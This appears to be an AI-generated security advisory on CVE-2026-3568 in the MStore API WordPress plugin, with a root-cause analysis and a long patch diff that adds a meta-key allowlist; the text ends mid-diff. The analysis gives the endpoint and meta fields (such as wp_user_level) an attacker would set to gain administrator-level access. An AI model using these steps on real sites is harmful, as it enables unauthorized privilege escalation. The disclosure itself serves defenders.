Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 19, 2026

CVE-2026-3568: MStore API <= 4.18.3 – Authenticated (Subscriber+) Insecure Direct Object Reference to Arbitrary User Meta Update (mstore-api)

CVE ID CVE-2026-3568
Plugin mstore-api
Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 4.18.3
Patched Version 4.18.4
Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3568:
The MStore API plugin for WordPress versions up to and including 4.18.3 contains an Insecure Direct Object Reference (IDOR) vulnerability. The plugin’s update_user_profile() function allows authenticated users with Subscriber-level permissions or higher to modify arbitrary user meta fields on their own accounts. This vulnerability has a CVSS score of 4.3 and is classified under CWE-639: Authorization Bypass Through User-Controlled Key.

The root cause lies in the update_user_profile() function within /mstore-api/controllers/flutter-user.php. The function reads raw JSON input from php://input at line 1012, decodes it at line 1013, authenticates the user via cookie validation at line 1015, and then directly iterates over the user-supplied meta_data array at line 1080. The function passes arbitrary keys and values to update_user_meta() without any allowlist, blocklist, or validation of meta keys. This lack of authorization checks creates the IDOR condition where users can update any meta field on their account.

Exploitation requires an authenticated attacker with at least Subscriber-level access. The attacker sends a POST request to the /wp-json/api/flutter_user/update_user_profile endpoint with a JSON payload containing a meta_data object. This object can contain arbitrary key-value pairs for user meta fields. For privilege escalation, an attacker could set wp_user_level to 10 (administrator level) or modify plugin-specific authorization flags like _wp_user_active or aiowps_account_status. The wp_capabilities field requires a serialized array value and cannot be directly exploited through this method.

The patch adds validation to restrict which meta keys users can update. The updated code implements an allowlist approach, checking submitted meta keys against a predefined list of permitted fields. The fix prevents users from modifying sensitive system and plugin meta fields while allowing legitimate profile updates. Before the patch, any meta key in the meta_data array would be processed. After the patch, only keys matching the allowlist are accepted, blocking attempts to modify unauthorized fields.

Successful exploitation allows attackers to escalate privileges by modifying the wp_user_level field to gain administrator-level access for legacy WordPress checks. Attackers can also modify plugin-specific authorization flags to bypass security controls, potentially enabling stored cross-site scripting (XSS) in admin contexts through unsanitized values in billing or profile fields. While wp_capabilities cannot be directly modified due to its serialized format, numerous other sensitive meta keys remain exploitable.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/mstore-api/controllers/flutter-2c2p.php
+++ b/mstore-api/controllers/flutter-2c2p.php
@@ -21,7 +21,7 @@
     protected $namespace = 'api/flutter_2c2p';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-auction.php
+++ b/mstore-api/controllers/flutter-auction.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_auction';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
@@ -94,6 +94,15 @@
         $product_id = sanitize_text_field($params['product_id']);
         $bid_value = sanitize_text_field($params['bid_value']);

+        if (empty($product_id) || !is_numeric($product_id)) {
+            return parent::sendError("invalid_product", 'Product id is required', 400);
+        }
+
+        $product = wc_get_product($product_id);
+        if (!$product || 'trash' === get_post_status($product_id)) {
+            return parent::sendError("invalid_product", 'This product is no longer available.', 400);
+        }
+
         WC()->session->set( 'wc_notices', null );
         $bid = new WC_Bid();
         $result = $bid->placebid($product_id, $bid_value);
--- a/mstore-api/controllers/flutter-b2bking.php
+++ b/mstore-api/controllers/flutter-b2bking.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_b2bking';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-booking.php
+++ b/mstore-api/controllers/flutter-booking.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_booking';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-cc-avenue.php
+++ b/mstore-api/controllers/flutter-cc-avenue.php
@@ -18,7 +18,7 @@
     protected $namespace = 'api/flutter_cc_avenue';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-checkout.php
+++ b/mstore-api/controllers/flutter-checkout.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_checkout';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-composite-products.php
+++ b/mstore-api/controllers/flutter-composite-products.php
@@ -20,7 +20,7 @@
     protected $namespace = 'api/flutter_composite_products';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-customer.php
+++ b/mstore-api/controllers/flutter-customer.php
@@ -11,7 +11,7 @@
     protected $namespace = 'api/flutter_customer';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-delivery.php
+++ b/mstore-api/controllers/flutter-delivery.php
@@ -20,7 +20,7 @@
     protected $namespace = 'delivery';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-discount-rules.php
+++ b/mstore-api/controllers/flutter-discount-rules.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_discount_rules';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-expresspay.php
+++ b/mstore-api/controllers/flutter-expresspay.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_expresspay';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-fib.php
+++ b/mstore-api/controllers/flutter-fib.php
@@ -20,7 +20,7 @@
     protected $namespace = 'api/flutter_fib';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-fibo-search.php
+++ b/mstore-api/controllers/flutter-fibo-search.php
@@ -22,7 +22,7 @@
     protected $namespace = 'api/flutter_fibo_search';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
@@ -119,14 +119,6 @@
             // Get settings
             $suggestions_limit = (int)$settings->getOption('suggestions_limit', 10);
             $min_chars = (int)$settings->getOption('min_chars', 3);
-            $show_image = $settings->getOption('show_product_image') === 'on';
-            $show_price = $settings->getOption('show_product_price') === 'on';
-            $show_desc = $settings->getOption('show_product_desc') === 'on';
-            $show_sku = $settings->getOption('show_product_sku') === 'on';
-            $search_in_content = $settings->getOption('search_in_product_content') === 'on';
-            $search_in_excerpt = $settings->getOption('search_in_product_excerpt') === 'on';
-            $search_in_sku = $settings->getOption('search_in_product_sku') === 'on';
-            $exclude_out_of_stock = $settings->getOption('exclude_out_of_stock') === 'on';
             $show_matching_categories = $settings->getOption('show_product_tax_product_cat') === 'on';
             $show_matching_tags = $settings->getOption('show_product_tax_product_tag') === 'on';

@@ -203,72 +195,68 @@
                     )
                 );

-                if ($show_image) {
-                    $images = array();
-                    // Get featured image
-                    $featured_image_id = $wc_product->get_image_id();
-                    if ($featured_image_id) {
-                        $images[] =  wp_get_attachment_image_url($featured_image_id);
-                    }
-
-                    // Get gallery images
-                    $gallery_image_ids = $wc_product->get_gallery_image_ids();
-                    foreach ($gallery_image_ids as $gallery_image_id) {
-                        $images[] = wp_get_attachment_image_url($gallery_image_id);
-                    }
-                    $product_data['images'] = $images;
-                }
-
-                if ($show_price) {
-                    if ($wc_product->is_type('variable')) {
-                        $variation_prices = $wc_product->get_variation_prices();
-                        $min_price = current($variation_prices['price']) ?: '';
-                        $max_price = end($variation_prices['price']) ?: '';
-                        $min_regular = current($variation_prices['regular_price']) ?: '';
-                        $max_regular = end($variation_prices['regular_price']) ?: '';
-                        $min_sale = current($variation_prices['sale_price']) ?: '';
-                        $max_sale = end($variation_prices['sale_price']) ?: '';
-                    } else {
-                        $price = $wc_product->get_price() ?: '';
-                        $min_price = $max_price = $price;
-                        $min_regular = $max_regular = $wc_product->get_regular_price() ?: '';
-                        $min_sale = $max_sale = $wc_product->get_sale_price() ?: '';
-                    }
-                    $product_data['price'] = $wc_product->get_price() ?: '';
-                    $product_data['regular_price'] = $wc_product->get_regular_price() ?: '';
-                    $product_data['sale_price'] = $wc_product->get_sale_price() ?: '';
-                    $product_data['min_price'] = $min_price;
-                    $product_data['max_price'] = $max_price;
-                    $product_data['min_regular_price'] = $min_regular;
-                    $product_data['max_regular_price'] = $max_regular;
-                    $product_data['min_sale_price'] = $min_sale;
-                    $product_data['max_sale_price'] = $max_sale;
-                    $product_data['price_formatted'] = wc_price($product_data['price']);
-                    $product_data['regular_price_formatted'] = wc_price($product_data['regular_price']);
-                    $product_data['sale_price_formatted'] = $product_data['sale_price'] ? wc_price($product_data['sale_price']) : '';
-                    $product_data['price_range'] = $wc_product->get_price_html();
-                }
+                // Get images
+                $images = array();
+                // Get featured image
+                $featured_image_id = $wc_product->get_image_id();
+                if ($featured_image_id) {
+                    $images[] =  wp_get_attachment_image_url($featured_image_id);
+                }
+
+                // Get gallery images
+                $gallery_image_ids = $wc_product->get_gallery_image_ids();
+                foreach ($gallery_image_ids as $gallery_image_id) {
+                    $images[] = wp_get_attachment_image_url($gallery_image_id);
+                }
+                $product_data['images'] = $images;
+
+                // Get price
+                if ($wc_product->is_type('variable')) {
+                    $variation_prices = $wc_product->get_variation_prices();
+                    $min_price = current($variation_prices['price']) ?: '';
+                    $max_price = end($variation_prices['price']) ?: '';
+                    $min_regular = current($variation_prices['regular_price']) ?: '';
+                    $max_regular = end($variation_prices['regular_price']) ?: '';
+                    $min_sale = current($variation_prices['sale_price']) ?: '';
+                    $max_sale = end($variation_prices['sale_price']) ?: '';
+                } else {
+                    $price = $wc_product->get_price() ?: '';
+                    $min_price = $max_price = $price;
+                    $min_regular = $max_regular = $wc_product->get_regular_price() ?: '';
+                    $min_sale = $max_sale = $wc_product->get_sale_price() ?: '';
+                }
+                $product_data['price'] = $wc_product->get_price() ?: '';
+                $product_data['regular_price'] = $wc_product->get_regular_price() ?: '';
+                $product_data['sale_price'] = $wc_product->get_sale_price() ?: '';
+                $product_data['min_price'] = $min_price;
+                $product_data['max_price'] = $max_price;
+                $product_data['min_regular_price'] = $min_regular;
+                $product_data['max_regular_price'] = $max_regular;
+                $product_data['min_sale_price'] = $min_sale;
+                $product_data['max_sale_price'] = $max_sale;
+                $product_data['price_formatted'] = wc_price($product_data['price']);
+                $product_data['regular_price_formatted'] = wc_price($product_data['regular_price']);
+                $product_data['sale_price_formatted'] = $product_data['sale_price'] ? wc_price($product_data['sale_price']) : '';
+                $product_data['price_range'] = $wc_product->get_price_html();
+
+                // Get description
+                $short_description = $wc_product->get_short_description();
+                // Convert HTML to plain text
+                $short_description = wp_strip_all_tags($short_description);
+                $short_description = html_entity_decode($short_description);
+                $short_description = preg_replace('/s+/', ' ', $short_description);
+                $short_description = trim($short_description);
+                $product_data['short_description'] = $short_description;
+                $description = $wc_product->get_description();
+                // Convert HTML to plain text
+                $description = wp_strip_all_tags($description); // Remove HTML tags
+                $description = html_entity_decode($description); // Convert HTML entities to characters
+                $description = preg_replace('/s+/', ' ', $description); // Replace multiple spaces with single space
+                $description = trim($description); // Remove leading/trailing spaces
+                $product_data['description'] = $description;

-                if ($show_desc) {
-                    $short_description = $wc_product->get_short_description();
-                    // Convert HTML to plain text
-                    $short_description = wp_strip_all_tags($short_description);
-                    $short_description = html_entity_decode($short_description);
-                    $short_description = preg_replace('/s+/', ' ', $short_description);
-                    $short_description = trim($short_description);
-                    $product_data['short_description'] = $short_description;
-                    $description = $wc_product->get_description();
-                    // Convert HTML to plain text
-                    $description = wp_strip_all_tags($description); // Remove HTML tags
-                    $description = html_entity_decode($description); // Convert HTML entities to characters
-                    $description = preg_replace('/s+/', ' ', $description); // Replace multiple spaces with single space
-                    $description = trim($description); // Remove leading/trailing spaces
-                    $product_data['description'] = $description;
-                }
-
-                if ($show_sku) {
-                    $product_data['sku'] = $wc_product->get_sku();
-                }
+                // Get SKU
+                $product_data['sku'] = $wc_product->get_sku();

                 // Get attributes
                 $attributes = array();
--- a/mstore-api/controllers/flutter-flow-flow.php
+++ b/mstore-api/controllers/flutter-flow-flow.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_flow_flow';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-flutterwave.php
+++ b/mstore-api/controllers/flutter-flutterwave.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_flutterwave';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-home.php
+++ b/mstore-api/controllers/flutter-home.php
@@ -22,7 +22,7 @@
     private $supportedLayouts = ["fourColumn","threeColumn","twoColumn","staggered","saleOff","card","listTile","largeCardHorizontalListItems","largeCard","simpleVerticalListItems","simpleList"];
     private $unSupportedVerticalLayouts = ["menu","menuCustom"];
     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-iyzico.php
+++ b/mstore-api/controllers/flutter-iyzico.php
@@ -21,7 +21,7 @@
     protected $namespace = 'api/flutter_iyzico';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-midtrans.php
+++ b/mstore-api/controllers/flutter-midtrans.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_midtrans';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-modempay.php
+++ b/mstore-api/controllers/flutter-modempay.php
@@ -0,0 +1,235 @@
+<?php
+require_once(__DIR__ . '/flutter-base.php');
+
+/*
+ * Base REST Controller for flutter
+ *
+ * @since 1.4.0
+ *
+ * @package Modempay
+ */
+
+class FlutterModempay extends FlutterBaseController
+{
+    /**
+     * Endpoint namespace
+     *
+     * @var string
+     */
+    protected $namespace = 'api/flutter_modempay';
+
+    /**
+     * Register all routes related with stores
+     *
+     * @return void
+     */
+    public function __construct()
+    {
+        add_action('rest_api_init', array($this, 'register_flutter_modempay_routes'));
+    }
+
+    public function register_flutter_modempay_routes()
+    {
+        register_rest_route($this->namespace, '/payment_success', array(
+            array(
+                'methods' => "POST",
+                'callback' => array($this, 'payment_success'),
+                'permission_callback' => function () {
+                    return parent::checkApiPermission();
+                }
+            ),
+        ));
+    }
+
+    /**
+     * Reuse logic from the payment gateway plugin
+     * Source: https://docs.modempay.com/plugins/woocommerce
+     */
+    public function payment_success($request)
+    {
+        // Parse webhook payload
+        $json = file_get_contents('php://input');
+        $webhook_data = json_decode($json, true);
+
+        // Validate webhook structure
+        if (!isset($webhook_data['event']) || !isset($webhook_data['payload'])) {
+            return new WP_Error('invalid_webhook', 'Invalid webhook structure', array('status' => 400));
+        }
+
+        $event = $webhook_data['event'];
+        $payload = $webhook_data['payload'];
+
+        // Only process successful charge events
+        if ($event !== 'charge.succeeded') {
+            return new WP_Error('unsupported_event', 'Unsupported event type: ' . $event, array('status' => 400));
+        }
+
+        // Extract order ID from metadata
+        $metadata = array();
+        if (isset($payload['metadata'])) {
+            if (is_array($payload['metadata'])) {
+                $metadata = $payload['metadata'];
+            } elseif (is_string($payload['metadata'])) {
+                $decoded_metadata = json_decode($payload['metadata'], true);
+                if (is_array($decoded_metadata)) {
+                    $metadata = $decoded_metadata;
+                }
+            }
+        }
+        $order_id = isset($metadata['order_id']) ? sanitize_text_field($metadata['order_id']) : null;
+
+        if (empty($order_id)) {
+            return new WP_Error('missing_order_id', 'Order ID not found in webhook metadata', array('status' => 400));
+        }
+
+        // Get order
+        $order = wc_get_order($order_id);
+        if (!$order) {
+            return new WP_Error('order_not_found', 'Order not found: ' . $order_id, array('status' => 404));
+        }
+
+        // Get transaction ID (try multiple fields)
+        $transaction_id = $this->get_transaction_id($payload);
+        if (empty($transaction_id)) {
+            return new WP_Error('missing_transaction_id', 'Transaction ID not found in webhook payload', array('status' => 400));
+        }
+
+        // SECURITY CHECK 1: Check if already paid to prevent duplicate processing
+        if ($order->is_paid()) {
+            $order->add_order_note('Webhook received but order already paid. Transaction ID: ' . $transaction_id);
+            return array(
+                'success' => true,
+                'message' => 'Order already paid'
+            );
+        }
+
+        // SECURITY CHECK 2: Check for duplicate transaction ID across all orders
+        $existing_orders = wc_get_orders(array(
+            'meta_key' => '_modempay_transaction_id',
+            'meta_value' => $transaction_id,
+            'status' => array('processing', 'completed', 'on-hold'),
+            'exclude' => array($order_id)
+        ));
+
+        if (!empty($existing_orders)) {
+            $order->add_order_note(sprintf(
+                'SECURITY: Duplicate transaction ID %s already used for Order #%s',
+                $transaction_id,
+                $existing_orders[0]->get_id()
+            ));
+            return new WP_Error('duplicate_transaction', 'Transaction already processed for another order', array('status' => 400));
+        }
+
+        // SECURITY CHECK 3: Verify transaction amount matches order total
+        $expected_amount = floatval($order->get_total());
+        $transaction_amount = isset($payload['amount']) ? floatval($payload['amount']) : 0;
+
+        if (abs($expected_amount - $transaction_amount) > 0.01) {
+            $order->add_order_note(sprintf(
+                'SECURITY: Amount mismatch. Expected: %s %s, Received: %s %s',
+                $expected_amount,
+                $order->get_currency(),
+                $transaction_amount,
+                isset($payload['currency']) ? $payload['currency'] : 'N/A'
+            ));
+            return new WP_Error('amount_mismatch', 'Transaction amount does not match order total', array('status' => 400));
+        }
+
+        // SECURITY CHECK 4: Verify customer email matches (if available)
+        $order_email = strtolower(trim($order->get_billing_email()));
+        $transaction_email = isset($payload['customer_email']) ? strtolower(trim($payload['customer_email'])) : '';
+
+        if (!empty($transaction_email) && $order_email !== $transaction_email) {
+            $order->add_order_note(sprintf(
+                'SECURITY: Customer email mismatch. Order: %s, Transaction: %s',
+                $order_email,
+                $transaction_email
+            ));
+            return new WP_Error('email_mismatch', 'Customer email does not match', array('status' => 400));
+        }
+
+        // SECURITY CHECK 5: Check transaction age (reject if older than 24 hours)
+        if (isset($payload['createdAt'])) {
+            $transaction_time = strtotime($payload['createdAt']);
+            $current_time = current_time('timestamp');
+            $time_diff = $current_time - $transaction_time;
+
+            if ($time_diff > (24 * 60 * 60)) {
+                $order->add_order_note(sprintf(
+                    'SECURITY: Transaction too old. Created: %s (%.2f hours ago)',
+                    $payload['createdAt'],
+                    $time_diff / 3600
+                ));
+                return new WP_Error('transaction_expired', 'Transaction has expired', array('status' => 400));
+            }
+        }
+
+        // SECURITY CHECK 6: Verify transaction status is successful
+        $status = isset($payload['status']) ? strtolower($payload['status']) : '';
+        $valid_statuses = array('success', 'successful', 'completed', 'paid');
+
+        if (!in_array($status, $valid_statuses)) {
+            $order->add_order_note('Webhook received with invalid status: ' . esc_html($status));
+            return new WP_Error('invalid_status', 'Transaction status is not successful: ' . $status, array('status' => 400));
+        }
+
+        // Store transaction metadata
+        $order->update_meta_data('_modempay_transaction_id', $transaction_id);
+        $order->update_meta_data('_modempay_payment_reference', isset($payload['reference']) ? sanitize_text_field($payload['reference']) : '');
+        $order->update_meta_data('_modempay_payment_method', isset($payload['payment_method']) ? sanitize_text_field($payload['payment_method']) : '');
+        $order->update_meta_data('_modempay_transaction', $json);
+        $order->update_meta_data('_modempay_webhook_received', current_time('mysql'));
+        $order->save();
+
+        // Complete the payment
+        $order->payment_complete($transaction_id);
+
+        // Build detailed order note
+        $note_parts = array(
+            'Modem Pay payment successful via webhook',
+            'Transaction ID: ' . esc_html($transaction_id),
+            'Reference: ' . esc_html(isset($payload['reference']) ? $payload['reference'] : 'N/A'),
+            'Payment Method: ' . esc_html(isset($payload['payment_method']) ? $payload['payment_method'] : 'N/A'),
+            'Amount: ' . esc_html($transaction_amount) . ' ' . esc_html(isset($payload['currency']) ? $payload['currency'] : ''),
+            'Customer: ' . esc_html(isset($payload['customer_name']) ? $payload['customer_name'] : 'N/A'),
+            'Phone: ' . esc_html(isset($payload['customer_phone']) ? $payload['customer_phone'] : 'N/A'),
+            'Email: ' . esc_html($transaction_email),
+            'Source: ' . esc_html(isset($metadata['source']) ? $metadata['source'] : 'mobile_app')
+        );
+
+        if (isset($payload['test_mode']) && $payload['test_mode']) {
+            $note_parts[] = '<strong>TEST MODE</strong>';
+        }
+
+        $order->add_order_note(implode('<br/>', $note_parts));
+
+        // Return success response
+        return array(
+            'success' => true,
+            'message' => 'Payment processed successfully',
+            'order_id' => $order_id,
+            'transaction_id' => $transaction_id
+        );
+    }
+
+    /**
+     * Get transaction ID from payload (handles various field names)
+     */
+    private function get_transaction_id($payload)
+    {
+        if (isset($payload['id'])) {
+            return sanitize_text_field($payload['id']);
+        } elseif (isset($payload['transaction_id'])) {
+            return sanitize_text_field($payload['transaction_id']);
+        } elseif (isset($payload['transaction_reference'])) {
+            return sanitize_text_field($payload['transaction_reference']);
+        } elseif (isset($payload['reference'])) {
+            return sanitize_text_field($payload['reference']);
+        } elseif (isset($payload['payment_intent_id'])) {
+            return sanitize_text_field($payload['payment_intent_id']);
+        }
+        return '';
+    }
+}
+
+new FlutterModempay;
--- a/mstore-api/controllers/flutter-multi-vendor.php
+++ b/mstore-api/controllers/flutter-multi-vendor.php
@@ -11,7 +11,7 @@
     protected $namespace = 'api/flutter_multi_vendor';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-myfatoorah.php
+++ b/mstore-api/controllers/flutter-myfatoorah.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_myfatoorah';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-notification.php
+++ b/mstore-api/controllers/flutter-notification.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_notification';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-order.php
+++ b/mstore-api/controllers/flutter-order.php
@@ -11,7 +11,7 @@
     protected $namespace = 'api/flutter_order';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-paid-memberships-pro.php
+++ b/mstore-api/controllers/flutter-paid-memberships-pro.php
@@ -20,7 +20,7 @@
     protected $namespace = 'api/flutter_paid_memberships_pro';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-paypal.php
+++ b/mstore-api/controllers/flutter-paypal.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_paypal';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-paystack.php
+++ b/mstore-api/controllers/flutter-paystack.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_paystack';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-paytm.php
+++ b/mstore-api/controllers/flutter-paytm.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_paytm';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-phonepe.php
+++ b/mstore-api/controllers/flutter-phonepe.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_phonepe';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-points-offline-store.php
+++ b/mstore-api/controllers/flutter-points-offline-store.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_osp';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-razorpay.php
+++ b/mstore-api/controllers/flutter-razorpay.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_razorpay';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-rental.php
+++ b/mstore-api/controllers/flutter-rental.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_rental';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-smart-cod.php
+++ b/mstore-api/controllers/flutter-smart-cod.php
@@ -18,7 +18,7 @@
     protected $namespace = 'api/flutter_smart_cod';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-store-locator.php
+++ b/mstore-api/controllers/flutter-store-locator.php
@@ -20,7 +20,7 @@
     protected $namespace = 'api/flutter_store_locator';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-stripe.php
+++ b/mstore-api/controllers/flutter-stripe.php
@@ -27,7 +27,7 @@
     protected $dokan_stripe_bootstrapped = false;

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-tera-wallet.php
+++ b/mstore-api/controllers/flutter-tera-wallet.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_tera_wallet';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-thawani.php
+++ b/mstore-api/controllers/flutter-thawani.php
@@ -19,7 +19,7 @@
     protected $namespace = 'api/flutter_thawani';

     /**
-     * Register all routes releated with stores
+     * Register all routes related with stores
      *
      * @return void
      */
--- a/mstore-api/controllers/flutter-user.php
+++ b/mstore-api/controllers/flutter-user.php
@@ -5,6 +5,30 @@

 class FlutterUserController extends FlutterBaseController
 {
+    private $allowed_profile_meta_keys = array(
+        'billing_first_name',
+        'billing_last_name',
+        'billing_company',
+        'billing_address_1',
+        'billing_address_2',
+        'billing_city',
+        'billing_state',
+        'billing_postcode',
+        'billing_country',
+        'billing_email',
+        'billing_phone',
+        'shipping_first_name',
+        'shipping_last_name',
+        'shipping_company',
+        'shipping_address_1',
+        'shipping_address_2',
+        'shipping_city',
+        'shipping_state',
+        'shipping_postcode',
+        'shipping_country',
+        'shipping_email',
+        'shipping_phone',
+    );

     /**
      * Endpoint namespace
@@ -13,8 +37,66 @@
      */
     protected $namespace = 'api/flutter_user';

-    public function __construct()
+    public function __construct() {}
+
+    private function sanitize_profile_text($value)
+    {
+        if (is_scalar($value)) {
+            return sanitize_text_field(wp_unslash((string)$value));
+        }
+
+        return '';
+    }
+
+    private function sanitize_profile_meta_value($meta_key, $value)
+    {
+        if (!is_scalar($value)) {
+            return '';
+        }
+
+        $value = wp_unslash((string)$value);
+
+        switch ($meta_key) {
+            case 'billing_email':
+            case 'shipping_email':
+                return sanitize_email($value);
+            case 'billing_postcode':
+            case 'shipping_postcode':
+                return wc_clean($value);
+            default:
+                return sanitize_text_field($value);
+        }
+    }
+
+    private function sanitize_meta_data($meta_data)
     {
+        $sanitized_meta_data = array();
+
+        if (!is_array($meta_data)) {
+            return $sanitized_meta_data;
+        }
+
+        foreach ($meta_data as $item) {
+            if (!is_object($item) && !is_array($item)) {
+                continue;
+            }
+
+            $key = is_array($item) ? ($item['key'] ?? null) : ($item->key ?? null);
+            $value = is_array($item) ? ($item['value'] ?? null) : ($item->value ?? null);
+
+            if (!is_string($key) || !in_array($key, $this->allowed_profile_meta_keys, true)) {
+                continue;
+            }
+
+            if (!is_scalar($value)) {
+                continue;
+            }
+
+            $sanitized_value = $this->sanitize_profile_meta_value($key, $value);
+            $sanitized_meta_data[$key] = $sanitized_value;
+        }
+
+        return $sanitized_meta_data;
     }

     public function register_routes()
@@ -343,7 +425,6 @@
         $params = json_decode($json, TRUE);
         $usernameReq = $params["user_login"];

-        $errors = new WP_Error();
         if (empty($usernameReq) || !is_string($usernameReq)) {
             return parent::sendError("empty_username", "Enter a username or email address.", 400);
         } elseif (strpos($usernameReq, '@')) {
@@ -407,9 +488,9 @@
             $referralCodeReq = $params["referral_code"];
         }

-        if(isset($params['wcfm_membership_application_status'])){
-			$wcfm_membership_application_status = $params['wcfm_membership_application_status'];
-		}
+        if (isset($params['wcfm_membership_application_status'])) {
+            $wcfm_membership_application_status = $params['wcfm_membership_application_status'];
+        }

         $username = sanitize_user($usernameReq);
         $email = sanitize_email($emailReq);
@@ -445,12 +526,29 @@
                 return parent::sendError("existed_email", "E-mail address is already in use.", 400);
             } else {
                 if (!$userPassReq) {
-                    $params->user_pass = wp_generate_password();
+                    $params['user_pass'] = wp_generate_password();
                 }

-                $allowed_params = array('user_login', 'user_email', 'user_pass', 'display_name', 'user_nicename', 'user_url', 'nickname', 'first_name',
-                    'last_name', 'description', 'rich_editing', 'user_registered', 'role', 'jabber', 'aim', 'yim',
-                    'comment_shortcuts', 'admin_color', 'use_ssl', 'show_admin_bar_front',
+                $allowed_params = array(
+                    'user_login',
+                    'user_email',
+                    'user_pass',
+                    'display_name',
+                    'user_url',
+                    'nickname',
+                    'first_name',
+                    'last_name',
+                    'description',
+                    'rich_editing',
+                    'user_registered',
+                    'role',
+                    'jabber',
+                    'aim',
+                    'yim',
+                    'comment_shortcuts',
+                    'admin_color',
+                    'use_ssl',
+                    'show_admin_bar_front',
                 );

                 $dataRequest = $params;
@@ -473,34 +571,41 @@
                 }
                 $_POST['user_role'] = $user['role']; //fix to register account with role in listeo

-                //
                 if (isset($referralCodeReq) && $referralCodeReq) {
-                    $_COOKIE['woo_wallet_referral'] = sanitize_text_field( wp_unslash( $referralCodeReq ) );
+                    $_COOKIE['woo_wallet_referral'] = sanitize_text_field(wp_unslash($referralCodeReq));
                 }

                 $user_id = wp_insert_user($user);

                 if (is_wp_error($user_id)) {
